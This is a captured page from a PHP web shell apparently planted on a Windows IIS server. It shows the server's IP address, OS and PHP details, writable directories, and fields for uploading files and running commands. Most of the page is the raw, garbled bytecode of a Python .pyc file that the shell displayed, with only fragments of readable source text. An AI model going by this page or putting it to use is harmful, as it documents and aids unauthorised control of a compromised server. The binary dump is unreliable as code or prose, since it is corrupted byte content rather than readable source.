403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/_pyrepl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/_pyrepl/__pycache__/utils.cpython-315.opt-1.pyc
R
>lqj�<c	�*�]QHGs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]QH,Gs]QH4Gs]QH<Gs]QH Gs]QHLGsGsGsGsGs]QHdGsGs]QHpGs\O:Q	2s\O:Q
2s\ OCQPQP-2s"\#Q
Q.2s$\#.Q/l2s%\#\&\2Tt.tFD#pOOQ2%cJ\ U2jJ%	to2s(Qs)QQ\2s*QQ\2s+QQ\2s,QQks-\O\QQk2s/QQks0Q0QQkks1QQ ks2Q!Q"ks3Q#Q$ks4\#.Q1l2s5\#.Q/l2s6Q%Q&ks7Q2Q'Q(kks8Q3Q)Q*kks9Q+2s:\P	P	Q,5Q-Q.22s;P!ttoh)4�)�annotations)�deque)�	dataclass)�StringIO)�	TokenInfo)�Iterable�Iterator�Match�
NamedTuple�Self)�
CharBuffer�
CharWidths)�tracez\x1b\[[ -@]*[A-~]z\x01.*?\x02���def�class�_c�F�[OQ-U@O!)N�)�	_colorize�	get_theme�syntax)�kwargss,�"C:\Python315\\Lib\_pyrepl\utils.py�THEMErs�����(��(�/�/�/�c�^�\sQs]"s"QsQ\Q$Q\Q$\QQk2s\QQk2sQ	s	P!)
�Spanz,Span indexing that's inclusive on both ends.�int�start�endc�&�U]6�cPgQQQQQQ-!)��mz
Match[str]�groupz	int | str�returnrr)�formats"r�__annotate__�Span.from_re.__annotate__)s!��/�/�
�/�9�/��/rc	�b�UOU2oUU]*U]*]*
2!)r)�span)�clsr$r%�re_spans&&& r�from_re�Span.from_re(s(���&�&��-���7�1�:�w�q�z�A�~�.�.rc�&�U]6�cPgQQQQQQ-!)r#�token�TI�line_len�	list[int]r&rr)r's"rr(�Span.from_token.__annotate__.s!��

�

�r�

�Y�

�4�

rc	��PoUO[O[O.7c+UOOQ2%c
U]*
oUV!O]*]*
*UO]**V!O]*]*
*UO]**U*2!)�)�{�})�type�T�FSTRING_MIDDLE�TSTRING_MIDDLE�string�endswithr r!)r,r1r3�
end_offsets&&& r�
from_token�Span.from_token-s����
��J�J�1�+�+�Q�-=�-=�>�>����%�%�j�1�1��!�O�J���[�[��^�a�'�(�5�;�;�q�>�9��Y�Y�q�\�A�%�&����1��5�
�B�
�	
rr)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__annotations__�classmethodr.rA�__static_attributes__rrrrr"s7���6��J�	�H��/��/��

��

rrc�.�\sQs];s"Q\Q$Q\Q$QsP!)�	ColorSpanrr+�str�tagr)rCrDrErFrHrJrrrrLrL;s���
�J�	�HrrLc�<�\sQs]@s"Q\Q$Q\Q$PsQ\Q$QsP!)�
StyledCharrM�textr�width�
str | NonerNr)rCrDrErFrHrNrJrrrrPrP@s���

�I��J��C��rrPc�"�U]6�cPgQQQQ-!)r#�crMr&rSr)r's"rr(� _ascii_control_repr.__annotate__Fs����3��:�rc�p�[U2oU] 6cQ[U]@*2*!U]6XcQ!P!)� �^z^?)�ord�chr)rU�codes& r�_ascii_control_reprr]Fs2���q�6�D��b�y��S����^�#�#��s�{��rc�"�U]6�cPgQQQQ-!)r#rUrMr&rr)r's"rr(�str_width.__annotate__Ps��
�
��
��
rc���[U2]�6c]![OU2%c]![OU2oUQ6Xc
UQ6wc]![OU2oUQ7c]!]!)��Cf�­)�N�Na�H�A)rZ�unicodedata�	combining�category�east_asian_width)rUrj�ws&  r�	str_widthrmOsd��
�1�v��|�����Q�����#�#�A�&�H��4��A��M���$�$�Q�'�A��!�!��rc�"�U]6�cPgQQQQ-!)r#�srMr&rr)r's"rr(�wlen.__annotate___s��?�?�C�?�C�?rc���[U2]6XcUQ6wc[U2![QU22o[O	U2oUOQ2oU[QU22*
U*!)r7�c3�D�SF �Do[U2w�	J	P!3h�N)rm��.0�is& r�	<genexpr>�wlen.<locals>.<genexpr>bs��q���q�!��1���q��� c3�D�SF �Do[U2w�	J	P!3hrt)�lenrus& rrxryfs������1��A����rz)r|rm�sum�ANSI_ESCAPE_SEQUENCE�findall�count)ro�length�sequence�
ctrl_z_cnts&   r�wlenr�_se��
�1�v��{�q�F�{���|��
�)�q�)�
)�F�#�+�+�A�.�H������J��C�1��1�1�1�J�>�>rc�&�U]6�cPgQQQQQQ-!)r#rorM�including_content�boolr&r)r's"rr(�unbracket.__annotate__is!��)�)��)��)�#�)rc�j�U%c[OPU2!UO[2!)z�Return `s` with \001 and \002 characters removed.

If `including_content` is True, content between \001 and \002 is also
stripped.
)�ZERO_WIDTH_BRACKET�sub�	translate�ZERO_WIDTH_TRANS)ror�s&&r�	unbracketr�is*���!�%�%�b�!�,�,��;�;�'�(�(rc�"�U]6�cPgQQQQ-!)r#�bufferrMr&�Iterator[ColorSpan]r)r's"rr(�gen_colors.__annotate__ts��
�
�s�
�2�
rc#�: �[U2o],UO2Tt,tFDo[U2MJ	to*o[][U22FD$oV499*V4]*
**
tt$J&	UO	]2[
OUO2oPo[VS2FD
oUw�SoJ	P!ttoh[cP![
Oc#o[X�X`2FPiw�K
Po=P!Po=hh9h3h)z�Returns a list of index spans to color using the given color tag.

The input `buffer` should be a valid start of a Python code block, i.e.
it cannot be a block starting in the middle of a multiline string.
)r�	readlinesr|�range�seek�tokenize�generate_tokens�readline�gen_colors_from_token_stream�SyntaxError�
TokenError�recover_unterminated_string)	r��sio�line�line_lengthsrw�gen�last_emitted�color�tes	&        r�
gen_colorsr�ts�����6�
�C��3��
�
��@���#�d�)��@�@�L�
�1�c�,�'�
(����<�!��,�,��)��H�H�Q�K�
�
"�
"�3�<�<�
0�C�%)�L�	
�1�#�D�E��K� �L�E��A��������
�.��l�
�	
�	
�	
��
�s^� D�C�A:D�3C�
D�	D�D�D�"D�5D�6D�D
�D�
D�D�Dc
�.�U]6�cPgQQQQQQQQQ	Q
-!)r#�excztokenize.TokenErrorr�r4r�zColorSpan | Noner�rMr&r�r)r's"rr(�(recover_unterminated_string.__annotate__�s:��&
�&
�	�&
��&
�#�&
�
�	&
�
�&
rc#� �UOvqEUeP!UvqgUOQ2%c�V]*
*U*]*
oUP*]*
o	U%cEV�OO6:c+[	QUQ5UOO
]*o[
V�2o
[	QU
OU
O
Q5[U
Q2w�	P![	Q[U2[U2Q5P!3h)	Nzbefore last emitted = {s})rozyielding span {a} -> {b})�a�br>z&unhandled token error({buffer}) = {te})r�r�)zunterminated string literalzunterminated f-string literalzunterminated t-string literalzEOF in multi-line stringz+unterminated triple-quoted f-string literalz+unterminated triple-quoted t-string literal)
�args�
startswithr+r rr!rrL�reprrM)r�r�r�r��msg�loc�line_no�columnr r!r+s&&&&       rr�r��s�����x�x�H�C�
�{���O�G�
�~�~�	
�	�	��q�[�)�F�2�Q�6���2���"���E�%6�%6�%<�%<�<��-��7� �%�%�)�)�A�-�E��E���
�(�D�J�J�$�(�(�C���h�'�'�
�4���<��3�x�	
�s�D�D�4D�(D�B
Dc�&�U]6�cPgQQQQQQ-!)r#�token_generatorzIterator[TI]r�r4r&r�r)r's"rr(�)gen_colors_from_token_stream.__annotate__�s&��;5�;5�!�;5��;5��;5rc#�$ �[U2oP
o]oSFCDsvqVoUOUO6XcJ$UO99[O
6XcL�9[O6XcLp9[O6XcLZ9[O6XcLD9[O6XcL.9[O6XcL9[O6XcLL([OVa2o[UQ2w�	J�9[O6Xc)[OVa2o[UQ2w�	CJ19[O 6Xc)[OVa2o[UQ2w�	CJn9[O"6Xc^UO$Q7cU]*
oLUO$Q7c
U]*o[OVa2o[UQ2w�	CJ�[O&6XfCJ�U%c*P
o[OVa2o[UQ2w�	CJ([(O*UO$2%cZQo	UO$[,7cQ	o	[OVa2o[V�2w�	UO$[.7cP	oCJ�CJ�[(O0UO$2%cAU]6Xc:[3VVU2%c([OVa2o[UQ
2w�	CJ
UO$[47cRU%c UO6[O86Xf([OVa2o[UQ2w�	CJpCJsCJv	P!3h)Fr>�comment�numberz([{z)]}�op�
definition�keyword�keyword_constant�soft_keyword�builtin)�prev_next_windowr r!r:r;�STRING�
FSTRING_STARTr<�FSTRING_END�
TSTRING_STARTr=�TSTRING_ENDrrArL�COMMENT�NUMBER�OPr>�NAMEr��	iskeyword�KEYWORD_CONSTANTS�IDENTIFIERS_AFTER�
issoftkeyword�is_soft_keyword_used�BUILTINS�
exact_type�DOT)
r�r��token_window�is_def_name�
bracket_level�
prev_tokenr1�
next_tokenr+�span_clss
&&        rr�r��s[���$�O�4�L��K��M�)5�%�
�:��;�;�%�)�)�#���j�j�E�����!�!�/�/�$4�A�$4�$4�}�q�}�}�!�!�/�/�$4�A�$4�$4�}�q�}�}�E����u�;����h�/�/��������u�;����i�0�0��������u�;����h�/�/������<�<�5�(�!�Q�&�M��\�\�U�*�!�Q�&�M����u�;����d�+�+������"'�K��?�?�5�?�D�#�D�,�7�7��&�&�u�|�|�4�4�(�H��|�|�'8�8�#5���?�?�5�?�D�#�D�3�3��|�|�'8�8�&*��9��)�)�%�,�,�7�7�%��*�,�Z�
�K�K��?�?�5�?�D�#�D�.�9�9��L�L�H�,�'�J�,A�,A�Q�U�U�,J��?�?�5�?�D�#�D�)�4�4�-K�-�_*6�s��5N�"N�N�1N�N�N�3N�	N�?N�<N�<N�N�+N�AN�
N�AN�$N�;9N�5-N�#N�*N�<;N�8N�N�1Nc�"�U]6�cPgQQQQ-!)r#�tokensz	TI | Noner&r�r)r's"rr(�!is_soft_keyword_used.__annotate__�s��5�5�)�5��5rc�
�[QUQ5S9Cc]]6HCcUv9eL`9[Qb9dv[O6XcL=9[Qb9dv[O6XcL9[Qb9d
vQ6XcLL�[Qb9d�vQ6Xc�9[Qb9d_v9[O
6XcLD9[O6XcL.9[O6XcL9[O6XcLLLj9[Qb9d[v[O6XcE9Q6XcL:9Q6XcL29Q	6XcL*9Q
6XcL"9Q6XcL9Q6XcL9Q
6XcL
9Q6XcLLLLP	!9c�]6Hc�v9eL`9[Qb9dv[O6XcL=9[Qb9dv[O6XcL9[Qb9d
vQ6XcLL^[Qb9dSvQ6XcL[Qb9dAv[O6Xc+o[OU2%c
U[7!P	!9Cci]6HCcav9eL�9[Qb9dv[O6XcLa9[Qb9dv[O6XcL=9[Qb9dv[O6XcL9[Qb9d
vQ6XcLL�[Qb9d�vQ6Xc�9[Qb9d_v9[O
6XcLD9[O6XcL.9[O6XcL9[O6XcLLLR9[Qb9dCv[O6Xc-9Q6XcL"9Q6XcL9Q	6XcL9Q6XcL
9Q6XcLLLLP	!9c�]6Hc�v9eL�9[Qb9dv[O6XcLa9[Qb9dv[O6XcL=9[Qb9dv[O6XcL9[Qb9d
vQ6XcLL^[Qb9dSvQ6XcL[Qb9dAv[O6Xc+o[OU2%c
U[7!P	!9cH]6HcAv[Qb9d2vQ6Xc+[Qb9d vQ6Xc[Qb9dvQ6XcP	!9c�]6Hc�v9eL�9[Qb9dv[O6XcLa9[Qb9dv[O6XcL=9[Qb9dv[O6XcL9[Qb9d
vQ6XcLLR[Qb9dGvQ6Xc@[Qb9d5v[O6Xco[OU2%(!c�]6Hc�v9eL�9[Qb9dv[O6XcLn9[Qb9dv[O6XcLJ9[Qb9dv[O6XcL&9[Qb9dv9Q6XcL
9Q6XcLLLLH[Qb9d=vQ6Xc69[Qb9dvQ6XcP	!9[Qb9dvQ6XcP	!P
!P
!)z�Returns True if the current token is a keyword in this context.

For the `*tokens` to match anything, they have to be a three-tuple of
(previous, current, next).
zis_soft_keyword_used{t})�tr)r>�:�match�(�*�-�+�[r8�~z...�caserr:�;�lazy�import�from)rr2r;�NEWLINE�INDENTr�r�r�r�r�r�r�r��keyword_first_sets_match�DEDENT�keyword_first_sets_case)r�ros* rr�r��s���
�
#�v�.�
�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�.�"�.�C�.�@���g�G�B�G�x�q�x�x�(�!�(�(�_�Q�_�_��q���F�G�N�b�N����c�C�#��c�C�#��M�N�
O��

�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�.�"�.�C�.�@���g�� �q�v�v�
�
� � ��#�#��4�4�4��
�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�G�B�G�x�q�x�x�(�!�(�(�_�Q�_�_��q���F�G�:�b�:����c�C�#��c�9�:�
;��

�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�� �q�v�v�
�
� � ��#�#��3�3�3��
�A�
@�b�����3���3��A�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�� �q�v�v�
�
�(�(��+�+�+�
�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,�AU��AU�3�QT�9�AU�U���f��B��h�3��
 �"3�"�"3�F�3��#4�3���
��rc�*�U]6�cPgQQQQQQQQ-!)	r#r�rM�colors�list[ColorSpan] | None�start_indexrr&zIterator[StyledChar]r)r's"rr(�iter_display_chars.__annotate__2s0��4�4��4�"�4��4��	4rc#� �U%fP!]oU%c=U[U26c-V*OOU6cU]*
oJ<PoU%cDU[U26c4V*OOU6cV*Oo[V2FCD�vqVU%cDU[U26c4V*OOU6XcV*Oo[
U29o%cSo[U2o	Lk[U2]�6cSo]o	LV[OU2OQ2%cQ[U2*o[U2o	L
So[U2o	[V�U2w�	U%fJ�U[U26fCJ	V*OOU6XfCJ-U]*
oPoU[U26fCJKV*OOU6XfCJoV*OoCJ�	U]6�cU%cUPU/P!P!P!3h)z�Yield visible display characters with widths and semantic color tags.

Note: ``colors`` is consumed in place as spans are processed -- callers
that split a buffer across multiple calls rely on this mutation to track
which spans have already been handled.
�Cz\u%04x)
r|r+r!r rN�	enumerater]rZrhrjr�rmrP)
r�r�r��	color_idx�
active_tagrwrU�controlrQrRs
&&&       r�iter_display_charsr�2s�������I�
��#�f�+�%�&�*;�*@�*@�*D�*D�{�*R���N�I��J�
�)�c�&�k�)�f�.?�.D�.D�.J�.J�[�.X��&�*�*�
��&�.�.����i�#�f�+�-�&�2C�2H�2H�2N�2N�RS�2S��*�.�.�J�)�!�,�,�7�,��D���L�E�
��V�c�\��D��E�
�
!�
!�!�
$�
/�
/��
4�
4��s�1�v�%�D���I�E��D��a�L�E���j�1�1��6�i�#�f�+�-�&�2C�2H�2H�2L�2L�PQ�2Q���N�I��J��3�v�;�&�6�+<�+A�+A�+G�+G�1�+L�#�.�2�2�
�1/�6�1�}���:�I�:�� �}�sz�	I
�I
�I
� I
�	I
�I
�. I
�+I
�;I
� I
�,$I
�I
�//I
�?I
�#
I
�6I
�I
�8I
�I
�:I
�I
c
�.�U]6�cPgQQQQQQQQQ	Q
-!)r#r�rMr�r�r�r�force_colorr�r&ztuple[CharBuffer, CharWidths]r)r's"rr(�disp_str.__annotate__is:��0�0��0�"�0��0��	0�
#�0rc��[[VU22o,o,o[UQ5o[U2FCDvq�U%cVH]*
*OLPo
U]*[U26cVH]**OLPoU	O%c$U	OU
6wcVyO*LPoU	O%cU	OU6wc
UOLPo
UOV�O*U
*2UOU	O2CJ		VV1!)a�Decompose the input buffer into a printable variant with applied colors.

Returns a tuple of two lists:
- the first list is the input buffer, character by character, with color
  escape codes added (while those codes contain multiple ASCII characters,
  each code is considered atomic *and is attached for the corresponding
  visible character*);
- the second list is the visible width of each character in the input
  buffer.

Note on colors:
- The `colors` list, if provided, is partially consumed within. We're using
  a list and not a generator since we need to hold onto the current
  unfinished span between calls to disp_str in case of multiline strings.
- The `colors` list is computed from the start of the input block. `buffer`
  is only a subset of that input block, a single line within. This is why
  we need `start_index` to inform us which position is the start of `buffer`
  actually within user input. This allows us to match color spans correctly.

Examples:
>>> utils.disp_str("a = 9")
(['a', ' ', '=', ' ', '9'], [1, 1, 1, 1, 1])

>>> line = "while 1:"
>>> colors = list(utils.gen_colors(line))
>>> utils.disp_str(line, colors=colors)
(['\x1b[1;34mw', 'h', 'i', 'l', 'e\x1b[0m', ' ', '1', ':'], [1, 1, 1, 1, 1, 1, 1, 1])

)r�)
�listr�rr�rNr|�reset�appendrQrR)r�r�r�r��styled_chars�chars�char_widths�theme�index�styled_char�previous_tag�next_tag�prefix�suffixs&&&&          r�disp_strris���F�*�6�;�G�H�L��E� �K��k�*�E�'��5�5���6;�|�A�I�.�2�2���27�!�)�c�,�>O�2O�<��	�*�.�.�UY��+6�?�?�?�{���R^�?^����'�df�� +����K�O�O�x�4O����UW��
���V�.�.�.��7�8����;�,�,�-�
6���rc��Q39o1QQkt4!)r;c�"�U]6�cPgQQQQ-!)r#�iterablezIterable[T]r&zIterator[tuple[T | None, ...]]r)r's"rr(r(�s������#�rc3�Z �[U2o[U2o[PU1]Q5oSFD"oUO	U2[U2w�J$	UO	P2[U2w�	P![cP!h9hSO	P2[S2w�h9h3h)aGenerates three-tuples of (previous, current, next) items.

On the first iteration previous is None. On the last iteration next
is None. In case of exception next is None and the exception is re-raised
on a subsequent next() call.

Inspired by `sliding_window` from `itertools` recipes.
)�maxlen)�iter�next�
StopIterationrr�tuple)r�iterator�first�window�xs&    rr�r��s�����H�~�H���X����D�%�=��
+�F���A��M�M�!����-���	�
�
�d���F�m��������	�
�
�d���F�m��sD�
B+�A5�B+�)B�!B+�5	B�?B�B+�B�B+�!B(�(B+r)�	.defaultsr;s  r�(<generic parameters of prev_next_window>r�s	��Q�r)�frozen�slotsc�|�\sQsQs"PsQ\Q$PsQ\Q$\Q
QQkk2s\QQ	k2s	\
Q
Qk2sQsP!)�StyleRef�rSrNrM�sgrc�&�U]6�cPgQQQQQQ-!)r#rNrMr r&rr)r's"rr(�StyleRef.from_tag.__annotate__�s!��%�%�3�%�S�%�$�%rc	��UVQ5!)�rNr r)r,rNr s&&&r�from_tag�StyleRef.from_tag�s
���s�$�$rc�"�U]6�cPgQQQQ-!)r#r rMr&rr)r's"rr(�StyleRef.from_sgr.__annotate__�s����3��4�rc	�4�U%fU2!UUQ5!))r r)r,r s&&r�from_sgr�StyleRef.from_sgr�s����5�L��s�|�rc��U]6�cPgQQ-!)r#r&r�r)r's"rr(�StyleRef.is_plain.__annotate__�s��1�1�$�1rc	�R�UOPI9%cUO%(!rtr$)�selfs&r�is_plain�StyleRef.is_plain�s���x�x�4��0�0����L�0rr)�)
rCrDrErFrNrHr rIr%r*�propertyr0rJrrrrr�sQ����C����C��M��%��%�����
�1��1rr>�None�True�False)F>�notr4r5r6�await�lambda)Nr)NrF)<�
__future__r�builtins�	functoolsr��rer1r;r�rhr�collectionsr�dataclassesr�iorrr2�typingrrr	r
r�typesrr
r�compiler~r�rM�	maketransr��	frozensetr�r��dirr�r�rrrLrPr]�cachermr�r�r�r�r�r�r�r�r�rr�r)�names0r�<module>rIss��"����	������!��$�>�>�)���z�z�"6�7���Z�Z��/���=�=�&�"�f�b�!9�:���u�g�.�/���7�8���C��M�V�M�D���QT�AU�i�c�$�i�M�V�W��0�

�:�
�2
�
�
�
�������
��
�?�)�
�6&
�R;5�|%�%X�Y��#�$=�>��5�p4�n0�f�6�$�d�#�1�1�$�1��}Ws�4F�F

Youez - 2016 - github.com/yon3zu
LinuXploit